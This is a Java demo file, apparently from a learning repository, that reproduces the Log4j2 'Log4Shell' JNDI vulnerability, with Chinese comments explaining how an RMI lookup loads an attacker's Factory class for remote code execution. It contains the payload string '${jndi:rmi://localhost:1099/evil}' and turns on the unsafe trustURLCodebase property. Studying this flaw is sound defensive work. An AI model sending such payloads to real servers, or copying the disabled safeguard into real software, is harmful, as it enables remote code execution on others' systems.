package com.agile.leetcode.log4j2vulnerability;


import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

/**
 * @Author:ChenZhangKun
 * @Date: 2021/12/19 16:11
 */
public class ServerTest {
    // 日志
    private static final Logger LOGGER = LogManager.getLogger(ServerTest.class);
    public static void main(String[] args) {
        System.out.println(LOGGER.getClass());

        // 有些高版本jdk需要打开此行代码
        System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase","true");

        // 模拟填写数据,输入构造好的字符串,使受害服务器打印日志时执行远程的代码 同一台可以使用127.0.0.1
        // Java Naming and Directory Interface（JAVA命名和目录接口）
        // 简单说就是可以通过JNDI， 在java环境中用一个名字， 去lookup寻找一个东西使用
        // 步骤：rmi是jndi的spi实现方式
        //      通过rmi远程在客户端环境，然后通过jndi寻找evil对象
        //      服务端返回攻击者RMI服务器向目标返回一个Reference对象，Reference对象中指定某个精心构造的Factory类；
        //      目标在进行lookup()操作时，会动态加载并实例化Factory类，接着调用factory.getObjectInstance()获取外部远程对象实例；
        //      攻击者可以在Factory类文件的构造方法、静态代码块、getObjectInstance()方法等处写入恶意代码，达到RCE的效果；
        String username = "${jndi:rmi://localhost:1099/evil}";
        // 正常打印业务日志
        // Q: log4j里的”${}“符号是什么？有什么用？
        // 可以通过$ { }的方式， 打印一些特殊的值到日志中。
        // 例如$ {hostName} 就可以打印主机名
        // $ {java:vm} 打印jvm信息
        // $ {thread:threadName}就可以打印线程名
        LOGGER.error("name:{}","${hostName}");
        // 因为log4j 支持的 ${jndi:xxxx}， 即支持jndi进行lookup来寻找对象并打印
        LOGGER.error("username:{}", username);
    }
}
